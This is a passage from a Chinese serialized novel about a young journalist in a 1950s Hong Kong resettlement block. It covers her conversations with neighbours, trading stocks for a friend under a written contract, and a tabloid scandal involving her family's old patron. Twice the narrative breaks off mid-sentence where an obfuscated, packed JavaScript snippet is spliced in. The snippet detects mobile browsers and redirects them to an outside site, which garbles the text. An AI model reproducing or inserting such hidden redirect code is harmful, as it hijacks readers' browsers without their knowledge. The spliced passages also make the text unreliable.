回到七层大厦,苏凤香与三个孩子已经坐在桌边,饭菜吃了一半,看到她进门,苏凤香冲她点点头:“侬回来了,好该烧午饭了,再不吃饭要胃痛的。” 梅思点头笑道:“这就吃了。” 绕到床尾,从地上拿起一个口袋,用勺子舀了两勺面粉,和着葱花搅了一碗面糊,到门口点起风炉,摊了一张饼,配着酱菜,便是新年的午饭。 午餐之后,洗刷了锅碗,梅思便拿了扫把扫地,又擦拭床头和架子,正忙着,忽然外面有人叫:“梅小姐住这里吗?” 然后一个男人扛着一个硕大的牛皮纸包裹,呼呼地便走了进来。 梅思答应着走过去,请工友把包裹放在自己这边的地面,道谢后送他离开,转身便找剪刀,划开了外面的纸皮,苏凤香“刷”地将帘子掀起一块,笔直地站在那里望,一看到里面的物件,登时吸了一口冷气:“啊哟梅小姐,侬老有铜钿哦!” 买这种有要没紧的东西,书不便宜,还这么好大一包,难怪刚搬进来,锅灶都顾不得安,便找人钉了墙上的架子,一连钉了三层,和人一般长短。 当时还想着这么个大小姐,其实过日子蛮灵巧,她是一个人,不像自己这边,一大三小四个人,那上面就得加床,她不用,眼前钉这么三层板,那些衣服袜子啦,床单毛毯啦,就可以放在那上面,不必每次都到床下去拖箱子,还挺便利,哪知她竟然是用来放书,看样子非把这几层架子放满不可,那可得花多少钱?床头原本堆的那些书还不够看么? 64.第六十四章 台风天谈秧歌 第六十四章 台风天谈秧歌 从春至夏,梅思痛读鲁迅,转眼间便到了七月。 正是盛夏时节,又是在香港,“七月流火”,很可以用它的字面含义,这个时候,梅思实在再难继续读那充满战斗热情的文章,然而,即使是诗词,闷热的夜晚,倚靠在床头,那些“青草池塘蛙声”也是读不进去。 梅思抹一把头上的汗,简直好像蒸笼,健莲姐蒸的酱肉包子,那样硕大,白白胖胖,只一看便给人一种慰藉感,然而自己身在蒸笼之中,半点不觉得幸福。 其实这种感觉倒是并不陌生,从前住铁皮屋的时候,每当盛夏也是这样的酷热,已经不觉得稀奇,只是梅思抬眼望了一下那悬挂半空、轻轻颤动的帘子,微微叹气,然而,如今却又有不同,这样的季节,自己想要遁入那一片清凉世界已不可得了。 尤其又是这样的嘈杂,三个孩子吵闹的声音充满整个空间,书中的文字浮在眼前,“如雷般的掌声震动了天地,狂呼的口号使全宇宙的空气都革命化了”,那也是弥天漫地的,却是激烈振奋的,令人充满期待的氛围,如今,自己的耳孔填满了声音,却都是这样滞重的,拖泥带水的,毫无超越的希望,其实就是张爱玲小说中的世界,那样的小说,自己读起来很有味道,然而,真的身在其中,便有一种透不过气来的郁闷焦躁,只觉得不是爆发,就是死亡了。 好容易到七月中旬,来了一场台风,大暴雨落了下来,天气顿然凉爽,虽然只是短暂的时间,却也给人喘息之机,在这天地之间的火宅,可以有片时的放松。 这一天夜晚,外面雨仍不息,房间里开着窗,凉风送来雨水的湿气和泥土的腥气,梅思懒懒地坐在床头读书。 忽然间,帘子挑开,苏凤香六岁的儿子宝庆跑了过来,随后是那两个大一点的女孩子,招娣和来娣追过来,抓住弟弟,拖着他赶快回去,宝庆便大叫大闹起来,坐倒在了地上。 苏凤香无法,只得自己过来拎起小儿子:“你个混世魔王,自家那一片地方还待不下你,到处乱撞!” 梅思抬起头来,含笑道:“没关系,让他在这里玩吧。” 苏凤香把头一摇:“他总得懂些规矩。” 抓着宝庆的胳膊把他拖出了房:“到外面玩去!” 连招娣来娣也撵出去,“砰”地关上房门,屋子里总算稍稍清静。 梅思暗暗松一口气,到这时,她读书也有些倦了,便放下书卷,趁着这晚凉天气,想与同住的人说说话,虽然两家在同一个房檐下已经半年有余,然而各自早出晚归,苏凤香时常夜班,就回来了也是操持家务,竟没有机会多说几句话,很是有些生疏隔阂,便走过去掀起帘子,与苏凤香闲聊起来。 “工厂里这一阵忙吗?” 苏凤香正在灯下做针线,闻言抬起头来道:“从今年便忙起来,这一阵格外赶工,老板接许多单,总有许多塑胶盆、塑胶桶要做。报馆里面忙吗?” 梅思笑道:“一直都是那个样子。” 聊了几句各自的行当,苏凤香忽然便问:“梅小姐,上楼之前,侬是住哪里的?” “女青年会。” “那里怎样?” “不过那样罢了。” 一个小小的房间,好像女学生的宿舍。 苏凤香微微侧转了头,听梅思约略讲述,然后叹道:“梅小姐,侬真的是天生该过好日子的,那样的地方,侬还嫌不好,如今住这种屋子,侬以为很好么?” 虽然没有去住过,不过若是按梅思的言语,居然是个好地方,清清静静的,关起门来便可以安闲地过自己的小日子,苏凤香晓得自己是不成的了,带了三个孩子,无论去到哪种地方,都不得省心,不过梅小姐是可以的,倘若自己是她,绝不肯住这种地方,哪怕是没有结婚,没有小孩子的,也依然不得安闲,给几个孩子吵闹得,脑仁都要裂开来,虽然梅小姐不肯说,然而自己看得出来,她很感觉疲乏厌倦。 苏凤香接着又说:“况且又热,看看这里,七楼,上面什么也没有,白花花的日头就那么当头照下来,把人要烤成烧饼,一个个都成蟹壳黄。整栋楼顶数阿拉这一层最热,到冬天又是最冷,从前住铁皮房,是这样,好容易盼着上楼了,阿拉还想,这下好了,水泥楼,不会那样热,哪知分到七楼,还是一样,还不如阿拉从前住的亭子间哦!” 梅思抿嘴一笑:“这两天倒是好,爽快得很。” 苏凤香“哼”了一声:“不过凉快这几天罢了,等台风过去,侬再看,更热哦,所以侬到底为什么不肯去住女青年会?是嫌贵么?” 梅思掠了一下鬓边的发丝,慢慢说道:“是比这里要贵一点,不过更要紧的是,在那边,总觉得是寄居,不是自己的地方,这里虽然窄小了些,但可以长久住下去,心里安稳一些。” 是烧了原本的房屋之后的徙置大厦,哪怕是要付租金,毕竟也可以算作是自己的地方吧,女青年会虽然好,总感觉仿佛是住旅馆。 对于选择徙置楼的缘故,梅思倒是细细解说的,苏凤香也认真地听,到最后依然晃了晃头:“反正阿拉倘若有办法,定然不住这样的地方。阿拉当年在上海……” 梅思望着苏凤香,俨然竟像是看到了白明珠,虽然两个人的身份差距悬殊。 说了一阵,苏凤香将手里的衫子放下,拿过一条裤子来继续缝补,趁此转换了话题:“梅小姐,侬整天看书,那书里有什么好看的故事么?” 梅思当即便想要讲阿Q,又或者是祥林嫂,然而她脑筋一转,改口道:“是爱玲女士的一篇小说,叫做《秧歌》,是说上海——周边的乡村,土改之后。” 苏凤香本来一听她说“上海”,两只耳朵便竖了起来,然而马上便听到了“乡村土改”,登时便有些嗒然,“唔唔”了几声,算作应答。 梅思继续说着:“凤香,你在那边,看到了土改么?分田分地之后,是怎么样的?在我的家乡,虽然因为抗美援朝,日子紧一些,大家却也还过得下去,像是小说里那样残酷的事,或许其她地方有吧,但我家乡没有,也就难怪爱玲女士的这一篇小说,如此给人责备。” 是同着鲁迅先生的文集一起买来的,前些天刚刚读完,纵然是现在的自己,掩卷之后也深有感怀,很想要找人谈一谈。 梅思又说了几句,忽然发现苏凤香只是“唔唔嗯嗯”,梅思如今很会察言观色的了,见她不很感兴趣的样子,便停了口,笑道:“凤香一直是在城市里的么?” 苏凤香点点头:“是啊,阿拉在乡下,没有什么亲戚。” “我从前有一个朋友,是上海人,总是夸说上海的电影,上海的百货公司……” 听她讲起上海的风情,苏凤香陡地抬头,眼神一亮:“阿拉上海啊,是天上地下第一等的好地方,人家说‘上有天堂下有苏杭’,苏杭哪里及得上阿拉上海?城隍庙热闹哦,蟹黄汤包哦,拉洋车哦,跑得飞快哦,石库门大洋房哦,亭子间哦,还是双亭子间,柳桉木的壁炉架,阿拉只恨没有福分去住哦!” 侃侃而谈当年在上海当女佣的往事。 与陈露云一样,苏凤香也是地道的上海人,从小到大都没有离开过上海,作女佣维持生活,因为她年轻漂亮,手脚麻利,能言善道,又是本地人,人头熟,颇有几个有力的亲戚给荐到了富裕人家,只她的遭遇却不同于咸亨酒店里的小伙计,“幸亏荐头的情面大,辞退不得”,她可是如鱼得水,先后换了两家主人,都滋润得很,如今在这香港石硖尾的徙置楼,忆念起往昔在上海的日子,很以为风光: “那个时节好啊,五月初五有粽子,八月十五分月饼,到过年的时候,东家派红包,里面有半块洋钱,除夕夜主人家开宴席,我们在厨房里也喝酒,吃猪头肉,只是自从打起仗来,日子便越来越不行了,解放军刚进了上海城,主人家不多久就走掉了。” 梅思细细思量着《秧歌》里面的文字,月香的雇主解放后依然留在上海,日子愈发窘迫了,天天要来厨房查米和煤球,因此月香炒冷饭给她的男人吃,便愈发傲然,颇有一点狷狂。 听梅思讲了小说里的故事,苏凤香点了点头:“啊呀,竟然是这样的么?幸亏阿拉主人走得早,也幸好阿拉走了,不然佣工都没得做,弄到那样小气,好没意思的哦。” 虽然从前也不是过的大小姐的日子,总比这样强些,苏凤香是五零年便随着东家的脚步走了的,那时东家太太和她说:“凤香啊,不是我吓你,你做佣工这么几年,又是我们这样的家庭,手里也是有几个钱的,你可要小心,不要给他们算到‘资产阶级’里面去了。” 那时节她的男人在工厂里,当个小头目,每个月到手也有几十块钱,凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588450|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香听了太太的话,心里慌,回家来和她男人商量:“太太是如此说,她与先生都是读过书的人,说的总不会错,倘若共产党真的要抄了我们的家,可怎样办?又或者把我们抓到牢里面去呢?现在倒还是慈眉善目的,谁知后面会怎样?主人已经决心要走了呢!” 她男人也不安:“不如我们也走了吧,虽然太太没有说去香港要带着你,但凭我的本事,你也能干,到那里总有一碗饭吃。” 于是两个人便变卖了家产,带了银元,全家到香港来了。 来到香港不多久,男人便因为工伤死去了,从此只有苏凤香独个带着孩子,靠着在工厂里做事,养活全家。 如今苏凤香的境遇,可是与从前不同了,极其紧迫,日子过得总是好像在打仗,当年无论是日本人进租界,还是解放军进上海,都不曾像这样紧张焦灼,分外疲惫。 在这样漫无尽头的劳苦之中,苏凤香全靠着回忆让自己快活一些,昔日在上海当女佣的那段时光,如今再想起来,俨然便是人生中的辉煌,如同早晨的阳光照在大地,晨光下一切事物都染上了玫瑰色,还带了金粉的色泽,居然有一点堪称富丽浪漫了,这样的回忆,便如同一支兴奋剂,让她能够有力气撑下去。 连她自己也不愿承认,如今是落魄了,有时候她情不自禁便要想,倘若当初留在上海,会不会有所不同?共产党打倒资产阶级,但自己只是帮佣,男人也不过是在工厂里作一个小小的管事人,怎么样也说不到“资产阶级”上面吧?或者当初竟然是给太太骗了,太太和先生恨共产党,便要自己也恨共产党,离开共产党掌权的地方,到这人生地不熟的香港来,过这样的苦日子,每当想到这个,苏凤香便如同有一只毒蜂蜇自己的心,火辣辣的疼。 然而今日终于听到梅思说,后来的上海,过得也不好,她登时便如同喝了一碗酸梅汤,从喉咙到小腹那么的清凉爽快,自己当然是不同于月香,月香是因为家在乡下,才给太太瞒哄了,以为分了田地,日子过得很好,便辞工回乡下来,自己本就是上海人,太太纵然要想方设法辞自己,用这样的借口是不成的,那么东家是要用怎样的花招来哄骗自己主动辞工呢?一时却是想不到了,只是那样变穷了的主人家,待着也实在没意思。 两个人谈谈说说,一直到深夜十点多,梅思感觉困倦,便提了水盆,去往淋浴间,中间经过取水处,十几个男人支起几张桌子,坐在那里叉麻雀,“稀里哗啦”响亮的洗牌声震荡耳鼓,虽然今日天气凉爽,也仍然有人手里猛力摇着扇子。 一个人吸着烟哈哈大笑:“不如来我们这边,虽然开初只是□□笼、四九仔,但只要你肯干,将来便做到红棍也不奇怪。” 梅思微微转头瞥了一眼,男人卷起衬衣袖子,裸露的手臂上刺了一条青龙。 对面的人苦笑一下:“我哪里有德龙哥那样的魄力霸气。” 打出一张八万。 往前走几步,果然不出意外,公共淋浴间前排了七八个人,梅思叹一口气,倘若自己能熬夜,真想半夜过来洗凉,那时总该没人在这里,不过趁此机会,倒是可以先去一下洗手间,她把盆放在地上,和前面的邻居说了,占个位置,便转去了厕所。 厕所那里也是有人排队,这原是一定的,一层楼三百多个人,一共只有六个厕位,男厕三个,女厕也是三个,倘若按照时下流行的“平等”主张,可以说是相当平等了,可是女厕总是比男厕紧张,所以便利的办法,便是准备一个尿壶,到这里来倾倒,很是快捷的。 到十一点,梅思终于进了淋浴间,很快脱掉衣服,站在莲蓬头下,哗啦哗啦冲着水,用毛巾快速擦着身上,外面还有人等着要洗。 洗过了澡,梅思端着面盆快步出来,看到隔壁邻居的女儿,二十一二岁的鄂林鹃正拿了个盆子,到取水处洗小青菜,便笑问:“林鹃,这时候还烧饭?” 鄂林鹃回头含笑道:“啊,是梅小姐,薛叔叔来和爸爸下棋谈天,这么晚了还在谈,妈要弄宵夜给他们吃,我来洗菜。” 梅思又问:“明天是早班还是晚班?” “早班,所以很快便要去睡了。” 梅思笑道:“你们纱厂这一阵也忙啊!” 鄂林鹃手指刮去菜梗上的泥土,笑着说:“倒是忙些的好,加班多发一些薪水,买小菜、买报纸都宽松些。” 65.第六十五章 股票经纪 第六十五章 股票经纪 这一年平平无奇地度过,到第二年,一九五六年,梅思的心境开始舒展起来,股票终于有了收益。 算一算自己是从三年前开始买,一九五三年的九月,买了第一支股票,之后添了一点本金,买进卖出,手头总有三四支股,有时候赚一点小钱,过一阵又赔了进去,如同潮水,起起伏伏,前面一年多都是亏的,去年终于是有了进展,揪心挠肝一整年,到年底加加减减,勉强落得个持平。 梅思只能对着账簿暗暗叹气,交易行里面与人谈天,有熟识的经纪叫做尹宗翰的,对自己说:“你新入行,做到这样也算不易,哪个初始买股票的人是不亏的呢?慢慢学就会了,只是要小心些,不要大本钱折进去。” 又啧啧道:“梅小姐,你很是厉害,如今在香港,少有人晓得股票,你不但懂得,还敢下场来炒。” 交易行虽然是有几十个经纪,不过多数是男子,现今的香港,不要说女人,即使是男人,也很少留意到股票,更不要说自己来买卖,这位梅小姐则是敢尝这样的头啖汤,着实有胆量,又有见识。 梅思笑笑说:“实在是没有别的赚钱的法子,只好放胆来试一试,也没有多少本钱,不奢望靠这个发怎样的横财,只要能赚一点买小菜的钱便好。” 尹宗翰点头:“你能克制,不贪心,这是顶顶要紧的,做咱们股票行的第一要务。” 话虽如此,可是一直到去年,梅思却并没有赚到买小菜的钱,股票市场真的是翻云覆雨,拿到手里的股,本来以为很好,忽然间便跌了,刚刚卖掉,不多久便涨起来,让梅思睡梦中都心惊肉跳,虽然比不得国难当头的时节,每一分钱却也是自己的血肉,若是赔了钱,心头便如刀割一般的疼,想到每日奔波辛辛苦苦赚来的钱,日常千方百计省俭,却都丢进了交易行的水池里,不由得梅思差一点便要落下眼泪来了。 然而如今,或许可以称作是“守得云开见月明”吧,终于是好了,攥在手里的几支股票都稳稳地有进账,梅思终于实现了当初的目标,有了买小菜的钱,每天一把小青菜,股票尽可赚得来。 于是梅思便怡然,六月里这一天休礼拜,正坐在屋子里听无线电,忽然间外面有人拍门:“梅大姨,我妈要你过去吃饭!” 梅思望了一眼床头的闹钟,果然将近十二点,那边苏凤香已经开了门,梅思转身三步两步赶过去:“二妮,替我谢谢你妈妈,说我就要烧好饭,不去了。” 二妮噘着嘴走了。 梅思便翻腾食品柜,准备开火烧饭。 她刚刚在走道里将锅灶摆好,忽然间有人在身后闷声闷气地叫:“梅大姨,我妈要你快去呢!” 梅思一转头,两个孩子一齐来了。 梅思便笑:“健莲姐真是个实诚人,你们先回去,我马上便过去。” 大柱连声叮咛:“大姨可得来啊!” “我晓得了!” 送她们走了,梅思把风炉小锅掇进房间,开柜子拿了些鸡蛋,便与苏凤香招呼一声,出门下到三楼。 等她进了门,那边桌面上已经摆开盘碗,贺健莲正盛饭,一见了她,立时便说:“梅小姐,快坐,就等你开饭。” 梅思拿了一只碗,一起装饭,又摆筷子,不多时全部就绪,六个人围着桌子团团坐下来,冯老太便招呼梅思吃菜:“吃这个猪耳朵,好吃,咯嘣脆,我如今年纪大了,咬不动了,要么我也爱吃。” 梅思笑道:“我看嬷嬷牙齿好得很,蚕豆都咬得动。” 冯老太夹了一条猪耳送进嘴里:“现在不行了,吃这些都得使劲了,我这右边的槽牙这几天有点发酸。” 冯老太今年七十出头,统共五个儿女,廖长民是她的小儿子,因为长子早年夭折,他便算作是独子,老太太向来身体硬朗,能吃能喝,梅思有时候暗自思量,到自己这个年纪,未必及得上她。 吃着饭,大家便闲聊,贺健莲拍着大腿:“她梅姨,幸亏当初把我们安排在一栋楼里,你是七楼,我是三楼,不然的话,倘若分在另一处,虽说也都在这一片,下这栋楼上那栋楼终究有点费劲不是?” 梅思也笑:“我那时也是想着,但愿不要把我们拆开。” 实在是称人心意,梅思喜欢贺健莲的爽朗,贺健莲也爱她的斯文,两个人很是投缘,平日里爱在一处说话。 冯老太道:“可惜了你是在最顶上,夏天热啊!” 梅思抿着嘴乐:“我是真想搬到一楼去住,出门方便些。” 每天跑各处采访,回来再爬七楼,实在有点为难。 冯老太忙一摇头:“一楼不好,潮,湿气大,依我看,二楼蛮好。” 梅思笑道:“二楼其实还是有些潮湿,三楼是最好的。” 冯老太乐得连连点头:“可说呢,我喜欢住这儿,我的腿脚如今还能行,上下楼不很吃劲儿。” 正说着,隔壁有人拍门:“荣发老弟,我来了!” 不多时便听到手杖拄地的声音:“老兄,快进来!” 梅思听了听:“是鄂叔来看薛叔。” 林鹃的父亲鄂维义到薛荣发的家中做客,二妮两腮鼓鼓的,马上接口:“一会儿又要喝酒,喝醉了又要骂人。” 贺健莲转头呵斥:“把嘴里的东西咽了再张嘴,大人说话你也插嘴。” 二妮猛力咽下饭菜,做起了鬼脸。 梅思咯咯地乐:“得说两位阿叔,骂人的声音可是不低,整栋楼都听得到。” 墙壁薄,声音又大,就好像在当初的铁皮房,隔壁但凡有一点不寻常,邻居便一清二楚。 贺健莲转过脸来,叹道:“也难怪他们不高兴,鄂叔倒是罢了,薛叔从前打日本,坏了一条腿,如今到了这香港,他这样的身体,要做工也为难,只靠大嫂给人洗烫衣服,赚一点钱,日子那样紧,不骂两声出出气,让他怎么过呢?” 廖长民到这时终于说了话:“现在俩孩子也能帮手了。” 十三四岁,小小年纪,到工厂里做零工,工钱虽然压得低,多少总是个助益。 然后又说:“少喝酒,能省点钱。” 梅思和贺健莲齐齐转头看向他,“金口难开”啊,这在廖长民,是罕见的长篇意见了。 冯老太叹一口气:“唉,喝点酒浇浇愁吧,不然过不下去,我有时候也想喝两盅。” 背井离乡的人,各有各的忧愁。 梅思脑筋急转:“如今香港经济兴旺,我们努力做,将来总有好日子过。” 听她这样一说,贺健莲蓦地想到一件事:“她梅姨,那一回说起的那个‘股票’,你后来买了没有?” 梅思笑道:“买了一点。” “赚钱么?” “唉,可不要提了,前面三年我揪心挠肝,勉强不赔不赚,到今年总算见到一点回头钱。” 当初要好的老邻居,有许多都在这栋楼,比如林素琴,出来进去时常便能碰面,得说这些年住在石硖尾,见识的人大江南北,梅思发现如今自己说话已经有些南腔北调,各省方言不知不觉便会溜出来,这一句“回头钱”,便是学的林素琴。 贺健莲登时便大乐起来:“难怪每次看你去菜场,都那样乐。” 梅思抿着嘴笑:“可不是刚够买一把小青菜的钱?” 贺健莲眼珠子叽里咕噜乱转,喘气的声音又粗又重,一张脸慢慢变得通红,眼睛望了望梅思,又转过来看看冯老太和廖长民,胸口起伏如同风箱,张了几次嘴,终究是没说出来。 她男人看她这个样子,纵然是那样沉闷的性子,也有些忍耐不住,嘴里迸出一句:“要说快说,不说就算。” 贺健莲左右看看,驱赶着两个孩子:“到那边吃去!” 大柱二话不说,往粗瓷大碗里夹了几筷子菜,捧起碗便走,二妮则是磨磨蹭蹭,慢慢地夹着菜,给她母亲又吆喝了两句,这才撇着嘴起身走掉了。 贺健莲转头压低了声音,对梅思说:“她梅姨,俺和你商量件事,这香港实在难活,这些年拼死拼活地做,也只得糊弄住这一张嘴,要想翻身真不知猴年马月,俺左思右想,靠着这样卖死力气,终究不成事,要寻别的路头,也不知要怎么弄,现如今你买了股票,赚了钱,能不能带挈一下俺们?倘若真能赚来钱,我一家门就有指望了,像这样只是饿不死,实在难受。” 虽然话语简单,梅思却很能够明白她的心思,在香港,手脚不停地劳作,其实倒是没有生存威胁,总能够活得下去,况且如今也不是住铁皮屋了,大家都住进楼房,在自己而言,房屋是有些简陋了,又是与人合住,许多事不方便,也嫌吵闹,不过比起当初的铁皮屋,毕竟已经好了许多,可以说石硖尾人的处境在改善之中了,可是即使如此,仍然是艰难,太疲惫太枯燥,即使没有多少知识,想法简单的人,也会感到厌倦,倘若敏感一点,复杂一点,便会兴起更多感慨。 梅思想了一想,终究是说:“健莲姐,我也是入行不久,不像人家那样老练,这一阵赚一点钱,其实是趁了市场的东风,行情好,几十支股票多数上涨,少有下跌,我才赚到钱,倘若市场不是这样,便很难讲。买股票不一定赚,虽然不是赌博,不过风险也很大,有人在里面赔得倾家荡产。” 虽然没有亲眼看到,不过邹千里和她谈起过,美国股市和民国股票交易,有人一夜暴富,也有人赔到跳楼,在交易行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599885|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看股价,与经纪闲谈,那些人与梅思不同,多是在里面打滚多年的,阅历丰富,讲起香港股市的典故来,那是一串串的,说的和听的都兴致盎然,如同书场一样。 梅思紧接着又说:“如果一定要买股票,不如我介绍一个经纪给你,他做了许多年的了,学识经验比我丰富得多。” 就是尹宗翰,梅思这几年的观察,他是交易行里最出色的经纪,两个人谈起股票,尹宗翰预测多数是准的,梅思向他学到许多东西,假如贺健莲要买股票,找他倒很是稳妥。 贺健莲蹙眉立刻说:“那得要钱吧?” 梅思于是无语,是要佣金的,低的是百分之零点七五,高的可以达到百分之一,尹宗翰是出名的经纪,他拿的就是这个数目,一百块抽一块,对于贺健莲来讲,很是不少的了。 贺健莲马上又说:“况且那些人,经手的钱只怕成千累万,我们可拿不出那么多钱来,一百块顶多了,人家只怕也不稀罕帮我们买股票。” 梅思默默点头,是的,动辄上千,像自己这样只拿几百块去买卖,很给人家以为奇怪,更何况是贺健莲最多一百呢。 贺健莲重重拍了一下腿:“就算人家肯帮忙,我也不敢托他,她梅姨,你不要笑我见识低,我就是只信熟人,见都没见过的人,我不能信他,他再怎样本事,我也不能放心把钱交给他,她梅姨,我只信着你,只愿意把这事情托给你,你要是觉得能行,就帮我这个忙,倘若觉着不方便,也就算了,我不强人所难。” 梅思仔细思量:“不知老太太和二哥是怎样的想法?” 冯老太调转筷子头,一指贺健莲:“我们早商量过了,就按她的主张办。” 廖长民重重点头:“嗯嗯。” 贺健莲一脸决绝:“你放心,我们也晓得这世上没有容易赚的钱,买股票也是做生意,有赚自然有赔,赚了我按规矩分钱给你,赔了我自己认了,我贺健莲的为人,你是晓得的,悔了不做,做了不悔,当年在俺们村子里,也是响当当的。” 只不过如今不行了,在香港,有谁知道贺健莲? 梅思斟酌着说:“虽说如此,终究还是写一份合同,大家签了字,比较可靠一些。” 贺健莲微微一愣,然后仿佛是想明白了“合同”的意思,点头道:“我明白,‘私凭文书官凭印’,只嘴上说是不行的,还得写在纸上,这就得麻烦她梅姨你了,我们都不很识字。” 廖长民识得几个字,但要写这么复杂的文书,他显然是不行的。 梅思想了想:“最好是找另一个人来写,顺便还能当个见证。” 这时候隔壁高一声低一声,已经高谈阔论起来,骂共产党,也骂国民政府: “一群无能的家伙,硬生生丢了江山!” “都是败类,只知弄钱,文官贪腐,军人吃空饷,怎么能不败呢?” “有一说一,国军就是土匪,专门祸害老百姓,他们还抢女学生,这要是不败,就没天理了,我是国军的人,我也得这么说!” 冯老太道:“就请鄂先生来吧,他有学问。” 鄂维义,广西同乡,从前是国民政府的职员,国民党败退台湾,他带全家人来了香港,他是中学毕业,有知识的人,冯老太向来敬重读过书的人。 廖长民就站起身去到隔壁,敲了两下门,不多时里面开了门,鄂维义一张瘦瘦的长条脸夹在门与门框中间:“长民啊,什么事?” “鄂先生,帮忙写个文书。” “哦好的好的。” 鄂维义满面通红串来邻居家中,张嘴一股酒气:“老太太,弟妹,啊梅小姐也在,要写什么?” 贺健莲道:“她梅姨要帮我们买股票,请先生来帮立个契。” 鄂维义登时便是一愣,股票交易的代办啊,他是见多识广的人,对股票并不陌生,只是帮人家写这样的文件却是头一回,一时也有些一头雾水,便吸了一口气,慢慢问明了事项,提起钢笔来,在一张白纸上一字一字写起来: “今有订立合同之人,贺健莲委托梅思买卖股票,首次付股本一百元,梅思当以稳健之态度,代为交易,后续或追加或减少本金,双方另外协议。另有一语,言之在先,交易虽有取利之心,然市场风云变幻,难以一定掌握,涨跌赔赚,各安天命,为免争执,立此为凭。” 之后是双方签字,年月日,见证人是鄂维义。 第一遍写完后又略加修改,最后定稿,鄂维义抄录了一模一样的两份,双方签字按手印,贺健莲瞪大了眼睛,朝那合同猛力望了几眼,一边向鄂维义道谢,“多谢鄂先生仗义帮忙”,一边小心翼翼地将自己那一份折了起来,显然是回头要谨慎收藏。 66.第六十六章 还魂 第六十六章 还魂 梅思为贺健莲买卖股票,虽然她本人不欲宣扬,不过在这徙置楼之中是没有什么秘密的,不多久便差不多家家都知道了。 这一晚,灯下苏凤香蹙着眉头,瞥了一眼帘子那边,胸口起伏了几下,终究是站起身来,掀起帘子向对面问道:“梅小姐,侬真的帮健莲姐买了股票?” 梅思手里拿着钢笔,正在本子上写着什么,闻言抬起头来,含笑道:“是啊。本来我也不想这样,自己也不过知道一点皮毛,哪里能代人交易呢?只是健莲姐太过高看,我只好试一试,真怕亏了钱。” 苏凤香微微一笑:“难怪那一天既不是过节,也不是谁的生日,伊要侬过去吃饭。” 原来是打的这个主意。 梅思正要替贺健莲分辩两句,“平日里时不时也是一起吃饭”,苏凤香却已经紧接着说下去:“梅小姐,侬要拎拎清楚,这不单单是赔钱赚钱的事,即便赚了钱,赚了多少?怎样拿证明给伊看?伊信不信你?都在两可之间,倘若真遇到糊涂的,侬一番好意,落得一身腥。侬不要怪阿拉多管闲事,阿拉也不是要挑唆不和,只是铜钿银子性命交关,沾上了不容易说清,侬可要谨慎,不要弄到连朋友都没得做,阿拉也是看侬人不错,才好意提醒。” 否则真是懒得说,得说梅小姐这个人,虽然愚了一点,不够灵活,但人是好人,自己在工厂里做事,时常要上夜班,招娣来娣虽然懂事,能带着弟弟,毕竟年纪还小,夜间怕鬼,梅小姐便揽在怀里安慰:“鬼其实没什么,倒是对着人要谨慎。” 况且又能体贴,和她说一些心事,都能很用心地听,虽然并不能把她当做亲姊妹,但在这生疏孤零的香港,也是难得的知己了,所以今天便要冒着忌讳,提点她几句。 梅思点了点头:“凤香,多谢你,我也晓得的,只是多年情谊,却不过这个情面。所以立了字据,我也时常记账,股票价格都有记在本子上,将来若有万一好查的,健莲姐的为人,想来不会那样。” 凤香撇了撇嘴,凉丝丝笑了两声,转回身放下了帘子。 到了十月,暑热天气终于有所缓和,七号礼拜天,梅思这一日休息,清早出去外面买报,在报摊前碰见了鄂维义:“鄂先生,买报么?” 典型的中国式问候,仿佛一句废话,然而却是必不可少的。 鄂维义点头笑道:“是啊,梅小姐,你也买报。” 转头对报贩说:“要一份《工商日报》。” 报贩拿报纸给他,转脸便问梅思:“小姐,你要哪份报?” 梅思实在难以说出《文汇报》,毕竟《工商日报》与《星岛日报》都号称“美蒋报纸”,站在台湾的立场说话,而《文汇报》则是类比《大公报》,都是亲近左翼的。 她只得低头乱瞄,“让我看看”,忽然间一列大大的黑体字便溜进眼睛:“八旬老翁怒告姨太太红杏出墙”。 典型的小报标题,夸张惊悚,见风是雨,唯恐天下不乱。 然而故事主角的名字刺激了她的神经:“桂系豪强黄皓,英雄迟暮,如夫人许桂珠,琵琶别抱,包养俊俏后生仔,惹怒老翁对簿公堂。” 梅思头脑里“嗡”地一声响,拿起那份报纸道:“就要这一份。” 付了零钱之后,揣着这一份小报便赶快转身回了家。 坐在床头,梅思用手掩着报上的字,快速看了三遍,果然是黄老爷的事,据报上说,三姨太不安于守着这一个衰翁,便在外面找了情人,比她年轻三十岁,很是英俊潇洒。 梅思掐指算了一下,黄老爷今年是七十九岁,许桂珠比他大约年轻二十岁,今年该有六十岁,不过许桂珠向来很注意保养的,从前在平乐,看到她用鸡蛋清调了茯苓粉敷面,一张脸着实又白又嫩,那时她已经过了四十,然而倘若不晓得年龄,还以为只是三十岁,到了香港,倘若还是当年那般,精心调养,如今大概看起来也不过是五十岁,找上一个三十岁的小情人,不算十分离谱。 三姨太那个人,可是风流得很,与自己的母亲截然不同,母亲一派正室风范,端庄持重,于这深宅大院之中,就如同在寺庙里修行,许桂珠则是泼辣大胆,与男人发生旖旎的感情,并不意外。 细细读过了,梅思掐着额角,虽然报上是这样说,然而是否真有其事呢?小报文章向来荒诞,也可能是乱讲的,不过黄老爷在香港,并不是如同在平乐,已经不是什么名流,倘若真的平平静静,为什么报上要专门提出他来说?或许无风不起浪,可能终究有些事端也未可知,那家里如今想来只怕有些乱,纵然原本不乱,给小报这样一讲,也要乱了。 